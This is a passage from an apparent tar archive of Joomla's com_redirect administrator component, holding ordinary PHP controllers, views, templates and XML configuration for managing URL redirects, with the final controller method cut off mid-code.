		208 => 'HTTP/1.1 208 Already Reported',
		226 => 'HTTP/1.1 226 IM Used',
		300 => 'HTTP/1.1 300 Multiple Choices',
		301 => 'HTTP/1.1 301 Moved Permanently',
		302 => 'HTTP/1.1 302 Found',
		303 => 'HTTP/1.1 303 See other',
		304 => 'HTTP/1.1 304 Not Modified',
		305 => 'HTTP/1.1 305 Use Proxy',
		306 => 'HTTP/1.1 306 (Unused)',
		307 => 'HTTP/1.1 307 Temporary Redirect',
		308 => 'HTTP/1.1 308 Permanent Redirect',
		400 => 'HTTP/1.1 400 Bad Request',
		401 => 'HTTP/1.1 401 Unauthorized',
		402 => 'HTTP/1.1 402 Payment Required',
		403 => 'HTTP/1.1 403 Forbidden',
		404 => 'HTTP/1.1 404 Not Found',
		405 => 'HTTP/1.1 405 Method Not Allowed',
		406 => 'HTTP/1.1 406 Not Acceptable',
		407 => 'HTTP/1.1 407 Proxy Authentication Required',
		408 => 'HTTP/1.1 408 Request Timeout',
		409 => 'HTTP/1.1 409 Conflict',
		410 => 'HTTP/1.1 410 Gone',
		411 => 'HTTP/1.1 411 Length Required',
		412 => 'HTTP/1.1 412 Precondition Failed',
		413 => 'HTTP/1.1 413 Payload Too Large',
		414 => 'HTTP/1.1 414 URI Too Long',
		415 => 'HTTP/1.1 415 Unsupported Media Type',
		416 => 'HTTP/1.1 416 Requested Range Not Satisfiable',
		417 => 'HTTP/1.1 417 Expectation Failed',
		418 => 'HTTP/1.1 418 I\'m a teapot',
		422 => 'HTTP/1.1 422 Unprocessable Entity',
		423 => 'HTTP/1.1 423 Locked',
		424 => 'HTTP/1.1 424 Failed Dependency',
		425 => 'HTTP/1.1 425 Reserved for WebDAV advanced collections expired proposal',
		426 => 'HTTP/1.1 426 Upgrade Required',
		428 => 'HTTP/1.1 428 Precondition Required',
		429 => 'HTTP/1.1 429 Too Many Requests',
		431 => 'HTTP/1.1 431 Request Header Fields Too Large',
		451 => 'HTTP/1.1 451 Unavailable For Legal Reasons',
		500 => 'HTTP/1.1 500 Internal Server Error',
		501 => 'HTTP/1.1 501 Not Implemented',
		502 => 'HTTP/1.1 502 Bad Gateway',
		503 => 'HTTP/1.1 503 Service Unavailable',
		504 => 'HTTP/1.1 504 Gateway Timeout',
		505 => 'HTTP/1.1 505 HTTP Version Not Supported',
		506 => 'HTTP/1.1 506 Variant Also Negotiates (Experimental)',
		507 => 'HTTP/1.1 507 Insufficient Storage',
		508 => 'HTTP/1.1 508 Loop Detected',
		510 => 'HTTP/1.1 510 Not Extended',
		511 => 'HTTP/1.1 511 Network Authentication Required',
	);

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string	The field input markup.
	 *
	 * @since   3.4
	 */
	protected function getOptions()
	{
		$options = array();

		foreach ($this->responseMap as $key => $value)
		{
			$options[] = JHtml::_('select.option', $key, $value);
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}
}
com_redirect/controller.php000060400000003242152455305260012103 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Redirect master display controller.
 *
 * @since  1.6
 */
class RedirectController extends JControllerLegacy
{
	/**
	 * @var		string	The default view.
	 * @since   1.6
	 */
	protected $default_view = 'links';

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached.
	 * @param   mixed    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController		This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		JLoader::register('RedirectHelper', JPATH_ADMINISTRATOR . '/components/com_redirect/helpers/redirect.php');

		// Load the submenu.
		RedirectHelper::addSubmenu($this->input->get('view', 'links'));

		$view   = $this->input->get('view', 'links');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('id');

		// Check for edit form.
		if ($view == 'link' && $layout == 'edit' && !$this->checkEditId('com_redirect.edit.link', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_redirect&view=links', false));

			return false;
		}

		parent::display();
	}
}
com_redirect/redirect.xml000060400000002120152455305260011524 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_redirect</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_REDIRECT_XML_DESCRIPTION</description>
	<administration>
		<menu link="option=com_redirect" img="class:redirect">Redirect</menu>

		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>redirect.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_redirect.ini</language>
			<language tag="en-GB">language/en-GB.com_redirect.sys.ini</language>
		</languages>
	</administration>
</extension>
com_redirect/redirect.php000060400000001072152455305260011520 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!JFactory::getUser()->authorise('core.manage', 'com_redirect'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Redirect');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_redirect/config.xml000060400000002214152455305260011174 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset 
		name="redirect"
		label="COM_REDIRECT_ADVANCED_OPTIONS"
		>
		<field
			name="mode"
			type="radio"
			label="COM_REDIRECT_MODE_LABEL"
			description="COM_REDIRECT_MODE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="separator"
			type="text"
			label="COM_REDIRECT_BULK_SEPARATOR_LABEL"
			description="COM_REDIRECT_BULK_SEPARATOR_DESC"
			default="|"
		/>
		<field
			name="defaultImportState"
			type="radio"
			label="COM_REDIRECT_DEFAULT_IMPORT_STATE_LABEL"
			description="COM_REDIRECT_DEFAULT_IMPORT_STATE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JENABLED</option>
			<option value="0">JDISABLED</option>
		</field>
	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>
		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_redirect"
			section="component" 
		/>
	</fieldset>
</config>
com_redirect/access.xml000060400000001465152455305260011177 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_redirect">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_redirect/views/link/tmpl/edit.php000060400000003661152455305260013720 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'link.cancel' || document.formvalidator.isValid(document.getElementById('link-form')))
		{
			Joomla.submitform(task, document.getElementById('link-form'));
		}
	};
");
?>

<form action="<?php echo JRoute::_('index.php?option=com_redirect&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="link-form" class="form-validate form-horizontal">
	<fieldset>
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'basic')); ?>

			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'basic', empty($this->item->id) ? JText::_('COM_REDIRECT_NEW_LINK') : JText::sprintf('COM_REDIRECT_EDIT_LINK', $this->item->id)); ?>
				<?php echo $this->form->renderField('old_url'); ?>
				<?php echo $this->form->renderField('new_url'); ?>
				<?php echo $this->form->renderField('published'); ?>
				<?php echo $this->form->renderField('comment'); ?>
				<?php echo $this->form->renderField('id'); ?>
				<?php echo $this->form->renderField('created_date'); ?>
				<?php echo $this->form->renderField('modified_date'); ?>
				<?php if (JComponentHelper::getParams('com_redirect')->get('mode')) : ?>
					<?php echo $this->form->renderFieldset('advanced'); ?>
				<?php endif; ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php echo JHtml::_('bootstrap.endTabSet'); ?>

		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</fieldset>
</form>
com_redirect/views/link/view.html.php000060400000004113152455305260013725 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a redirect link.
 *
 * @since  1.6
 */
class RedirectViewLink extends JViewLegacy
{
	protected $item;

	protected $form;

	protected $state;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  False if unsuccessful, otherwise void.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$isNew = ($this->item->id == 0);
		$canDo = JHelperContent::getActions('com_redirect');

		JToolbarHelper::title($isNew ? JText::_('COM_REDIRECT_MANAGER_LINK_NEW') : JText::_('COM_REDIRECT_MANAGER_LINK_EDIT'), 'refresh redirect');

		// If not checked out, can save the item.
		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::apply('link.apply');
			JToolbarHelper::save('link.save');
		}

		/**
		 * This component does not support Save as Copy due to uniqueness checks.
		 * While it can be done, it causes too much confusion if the user does
		 * not change the Old URL.
		 */
		if ($canDo->get('core.edit') && $canDo->get('core.create'))
		{
			JToolbarHelper::save2new('link.save2new');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('link.cancel');
		}
		else
		{
			JToolbarHelper::cancel('link.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT');
	}
}
com_redirect/views/links/tmpl/default.xml000060400000000254152455305260014606 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_REDIRECT">
		<message>
			<![CDATA[COM_REDIRECT_XML_DESCRIPTION]]>
		</message>
	</layout>
</metadata>com_redirect/views/links/tmpl/default.php000060400000015707152455305260014606 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo JRoute::_('index.php?option=com_redirect&view=links'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="j-main-container">
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if ($this->redirectPluginId) : ?>
			<?php $link = JRoute::_('index.php?option=com_plugins&client_id=0&task=plugin.edit&extension_id=' . $this->redirectPluginId . '&tmpl=component&layout=modal'); ?>
			<?php echo JHtml::_(
				'bootstrap.renderModal',
				'plugin' . $this->redirectPluginId . 'Modal',
				array(
					'url'         => $link,
					'title'       => JText::_('COM_REDIRECT_EDIT_PLUGIN_SETTINGS'),
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'closeButton' => false,
					'backdrop'    => 'static',
					'keyboard'    => false,
					'footer'      => '<button type="button" class="btn" data-dismiss="modal"'
						. ' onclick="jQuery(\'#plugin' . $this->redirectPluginId . 'Modal iframe\').contents().find(\'#closeBtn\').click();">'
						. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
						. '<button type="button" class="btn btn-primary" data-dismiss="modal" onclick="jQuery(\'#plugin' . $this->redirectPluginId . 'Modal iframe\').contents().find(\'#saveBtn\').click();">'
						. JText::_("JSAVE") . '</button>'
						. '<button type="button" class="btn btn-success" onclick="jQuery(\'#plugin' . $this->redirectPluginId . 'Modal iframe\').contents().find(\'#applyBtn\').click(); return false;">'
						. JText::_("JAPPLY") . '</button>'
				)
			); ?>
		<?php endif; ?>

		<?php if (empty($this->items)) : ?>
		<div class="alert alert-no-items">
			<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
		</div>
		<?php else : ?>
			<table class="table table-striped">
				<thead>
					<tr>
						<th width="1%" class="center nowrap">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="center nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap title">
							<?php echo JHtml::_('searchtools.sort', 'COM_REDIRECT_HEADING_OLD_URL', 'a.old_url', $listDirn, $listOrder); ?>
						</th>
						<th width="30%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_REDIRECT_HEADING_NEW_URL', 'a.new_url', $listDirn, $listOrder); ?>
						</th>
						<th width="30%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_REDIRECT_HEADING_REFERRER', 'a.referer', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_REDIRECT_HEADING_CREATED_DATE', 'a.created_date', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_REDIRECT_HEADING_HITS', 'a.hits', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_REDIRECT_HEADING_STATUS_CODE', 'a.header', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="9">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) :
					$canEdit   = $user->authorise('core.edit',       'com_redirect');
					$canChange = $user->authorise('core.edit.state', 'com_redirect');
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->id); ?>
						</td>
						<td class="center">
							<div class="btn-group">
								<?php echo JHtml::_('redirect.published', $item->published, $i); ?>
								<?php // Create dropdown items and render the dropdown list.
								if ($canChange)
								{
									JHtml::_('actionsdropdown.' . ((int) $item->published === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'links');
									JHtml::_('actionsdropdown.' . ((int) $item->published === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'links');
									echo JHtml::_('actionsdropdown.render', $this->escape($item->old_url));
								}
								?>
							</div>
						</td>
						<td class="break-word">
							<?php if ($canEdit) : ?>
								<a href="<?php echo JRoute::_('index.php?option=com_redirect&task=link.edit&id=' . $item->id); ?>" title="<?php echo $this->escape($item->old_url); ?>">
									<?php echo $this->escape(str_replace(JUri::root(), '', rawurldecode($item->old_url))); ?></a>
							<?php else : ?>
									<?php echo $this->escape(str_replace(JUri::root(), '', rawurldecode($item->old_url))); ?>
							<?php endif; ?>
						</td>
						<td class="small break-word">
							<?php echo $this->escape(rawurldecode($item->new_url)); ?>
						</td>
						<td class="small break-word hidden-phone hidden-tablet">
							<?php echo $this->escape($item->referer); ?>
						</td>
						<td class="small hidden-phone hidden-tablet">
							<?php echo JHtml::_('date', $item->created_date, JText::_('DATE_FORMAT_LC4')); ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->hits; ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->header; ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<?php if (!empty($this->items)) : ?>
			<?php echo $this->loadTemplate('addform'); ?>
		<?php endif; ?>
		<?php // Load the batch processing form if user is allowed ?>
			<?php if ($user->authorise('core.create', 'com_redirect')
				&& $user->authorise('core.edit', 'com_redirect')
				&& $user->authorise('core.edit.state', 'com_redirect')) : ?>
				<?php echo JHtml::_(
					'bootstrap.renderModal',
					'collapseModal',
					array(
						'title'  => JText::_('COM_REDIRECT_BATCH_OPTIONS'),
						'footer' => $this->loadTemplate('batch_footer'),
					),
					$this->loadTemplate('batch_body')
				); ?>
			<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_redirect/views/links/tmpl/default_batch_body.php000060400000001342152455305260016752 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
$published = $this->state->get('filter.published');
$params    = $this->params;
$separator = $params->get('separator', '|');
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="control-group span12">
			<p><?php echo JText::sprintf('COM_REDIRECT_BATCH_TIP', $separator); ?></p>
			<div class="controls">
				<textarea class="span12" rows="10" aria-required="true" value="" id="batch_urls" name="batch_urls"></textarea>
			</div>
		</div>
	</div>
</div>
com_redirect/views/links/tmpl/default_batch_footer.php000060400000001122152455305260017307 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" data-dismiss="modal" onclick="document.getElementById('batch_urls').value='';">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('links.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_redirect/views/links/tmpl/default_addform.php000060400000003137152455305260016274 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="accordion hidden-phone" id="accordion1">
	<div class="accordion-group">
		<div class="accordion-heading">
			<a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#batch">
				<?php echo JText::_('COM_REDIRECT_BATCH_UPDATE_WITH_NEW_URL'); ?>
			</a>
		</div>
		<div id="batch" class="accordion-body collapse">
			<div class="accordion-inner">
				<fieldset class="batch form-inline">
					<div class="control-group">
						<label for="new_url" class="control-label"><?php echo JText::_('COM_REDIRECT_FIELD_NEW_URL_LABEL'); ?></label>
						<div class="controls">
							<input type="text" name="new_url" id="new_url" value="" size="50" title="<?php echo JText::_('COM_REDIRECT_FIELD_NEW_URL_DESC'); ?>" />
						</div>
					</div>
					<div class="control-group">
						<label for="comment" class="control-label"><?php echo JText::_('COM_REDIRECT_FIELD_COMMENT_LABEL'); ?></label>
						<div class="controls">
							<input type="text" name="comment" id="comment" value="" size="50" title="<?php echo JText::_('COM_REDIRECT_FIELD_COMMENT_DESC'); ?>" />
						</div>
					</div>
					<button class="btn btn-primary" type="button" onclick="this.form.task.value='links.duplicateUrls';this.form.submit();"><?php echo JText::_('COM_REDIRECT_BUTTON_UPDATE_LINKS'); ?></button>
				</fieldset>
			</div>
		</div>
	</div>
</div>
com_redirect/views/links/view.html.php000060400000011665152455305260014122 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of redirection links.
 *
 * @since  1.6
 */
class RedirectViewLinks extends JViewLegacy
{
	protected $enabled;

	protected $collect_urls_enabled;

	protected $redirectPluginId = 0;

	protected $items;

	protected $pagination;

	protected $state;

	public $filterForm;

	public $activeFilters;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  False if unsuccessful, otherwise void.
	 *
	 * @since   1.6
	 *
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		// Set variables
		$app                        = JFactory::getApplication();
		$this->enabled              = JPluginHelper::isEnabled('system', 'redirect');
		$this->collect_urls_enabled = RedirectHelper::collectUrlsEnabled();
		$this->items                = $this->get('Items');
		$this->pagination           = $this->get('Pagination');
		$this->state                = $this->get('State');
		$this->filterForm           = $this->get('FilterForm');
		$this->activeFilters        = $this->get('ActiveFilters');
		$this->params               = JComponentHelper::getParams('com_redirect');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Show messages about the enabled plugin and if the plugin should collect URLs
		if ($this->enabled && $this->collect_urls_enabled)
		{
			$app->enqueueMessage(JText::sprintf('COM_REDIRECT_COLLECT_URLS_ENABLED', JText::_('COM_REDIRECT_PLUGIN_ENABLED')), 'notice');
		}
		else
		{
			$this->redirectPluginId = RedirectHelper::getRedirectPluginId();

			$link = JHtml::_(
				'link',
				'#plugin' . $this->redirectPluginId . 'Modal',
				JText::_('COM_REDIRECT_SYSTEM_PLUGIN'),
				'class="alert-link" data-toggle="modal" id="title-' . $this->redirectPluginId . '"'
			);

			// To be removed in Joomla 4
			if (JFactory::getApplication()->getTemplate() === 'hathor')
			{
				$link = JHtml::_(
					'link',
					JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . RedirectHelper::getRedirectPluginId()),
					JText::_('COM_REDIRECT_SYSTEM_PLUGIN')
				);
			}

			if ($this->enabled && !$this->collect_urls_enabled)
			{
				$app->enqueueMessage(JText::sprintf('COM_REDIRECT_COLLECT_MODAL_URLS_DISABLED', JText::_('COM_REDIRECT_PLUGIN_ENABLED'), $link), 'notice');
			}
			else
			{
				$app->enqueueMessage(JText::sprintf('COM_REDIRECT_PLUGIN_MODAL_DISABLED', $link), 'error');
			}
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$state = $this->get('State');
		$canDo = JHelperContent::getActions('com_redirect');

		JToolbarHelper::title(JText::_('COM_REDIRECT_MANAGER_LINKS'), 'refresh redirect');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('link.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('link.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			if ($state->get('filter.state') != 2)
			{
				JToolbarHelper::divider();
				JToolbarHelper::publish('links.publish', 'JTOOLBAR_ENABLE', true);
				JToolbarHelper::unpublish('links.unpublish', 'JTOOLBAR_DISABLE', true);
			}

			if ($state->get('filter.state') != -1)
			{
				JToolbarHelper::divider();

				if ($state->get('filter.state') != 2)
				{
					JToolbarHelper::archiveList('links.archive');
				}
				elseif ($state->get('filter.state') == 2)
				{
					JToolbarHelper::unarchiveList('links.publish', 'JTOOLBAR_UNARCHIVE');
				}
			}
		}

		if ($canDo->get('core.create'))
		{
			// Get the toolbar object instance
			$bar = JToolbar::getInstance('toolbar');

			$title = JText::_('JTOOLBAR_BULK_IMPORT');

			JHtml::_('bootstrap.modal', 'collapseModal');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if ($state->get('filter.state') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'links.delete', 'JTOOLBAR_EMPTY_TRASH');
			JToolbarHelper::divider();
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::custom('links.purge', 'delete', 'delete', 'COM_REDIRECT_TOOLBAR_PURGE', false);
			JToolbarHelper::trash('links.trash');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_redirect');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_COMPONENTS_REDIRECT_MANAGER');
	}
}
com_redirect/controllers/links.php000060400000010637152455305260013414 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Redirect link list controller class.
 *
 * @since  1.6
 */
class RedirectControllerLinks extends JControllerAdmin
{
	/**
	 * Method to update a record.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function activate()
	{
		// Check for request forgeries.
		$this->checkToken();

		$ids = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (empty($ids))
		{
			JError::raiseWarning(500, JText::_('COM_REDIRECT_NO_ITEM_SELECTED'));
		}
		else
		{
			$newUrl  = $this->input->getString('new_url');
			$comment = $this->input->getString('comment');

			// Get the model.
			$model = $this->getModel();

			// Remove the items.
			if (!$model->activate($ids, $newUrl, $comment))
			{
				JError::raiseWarning(500, $model->getError());
			}
			else
			{
				$this->setMessage(JText::plural('COM_REDIRECT_N_LINKS_UPDATED', count($ids)));
			}
		}

		$this->setRedirect('index.php?option=com_redirect&view=links');
	}

	/**
	 * Method to duplicate URLs in records.
	 *
	 * @return  void
	 *
	 * @since   3.6.0
	 */
	public function duplicateUrls()
	{
		// Check for request forgeries.
		$this->checkToken();

		$ids = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (empty($ids))
		{
			JError::raiseWarning(500, JText::_('COM_REDIRECT_NO_ITEM_SELECTED'));
		}
		else
		{
			$newUrl  = $this->input->getString('new_url');
			$comment = $this->input->getString('comment');

			// Get the model.
			$model = $this->getModel();

			// Remove the items.
			if (!$model->duplicateUrls($ids, $newUrl, $comment))
			{
				JError::raiseWarning(500, $model->getError());
			}
			else
			{
				$this->setMessage(JText::plural('COM_REDIRECT_N_LINKS_UPDATED', count($ids)));
			}
		}

		$this->setRedirect('index.php?option=com_redirect&view=links');
	}

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The name of the model.
	 * @param   string  $prefix  The prefix of the model.
	 * @param   array   $config  An array of settings.
	 *
	 * @return  JModel instance
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Link', $prefix = 'RedirectModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Executes the batch process to add URLs to the database
	 *
	 * @return  void
	 */
	public function batch()
	{
		// Check for request forgeries.
		$this->checkToken();

		$batch_urls_request = $this->input->post->get('batch_urls', array(), 'array');
		$batch_urls_lines   = array_map('trim', explode("\n", $batch_urls_request[0]));

		$batch_urls = array();

		foreach ($batch_urls_lines as $batch_urls_line)
		{
			if (!empty($batch_urls_line))
			{
				$params = JComponentHelper::getParams('com_redirect');
				$separator = $params->get('separator', '|');

				// Basic check to make sure the correct separator is being used
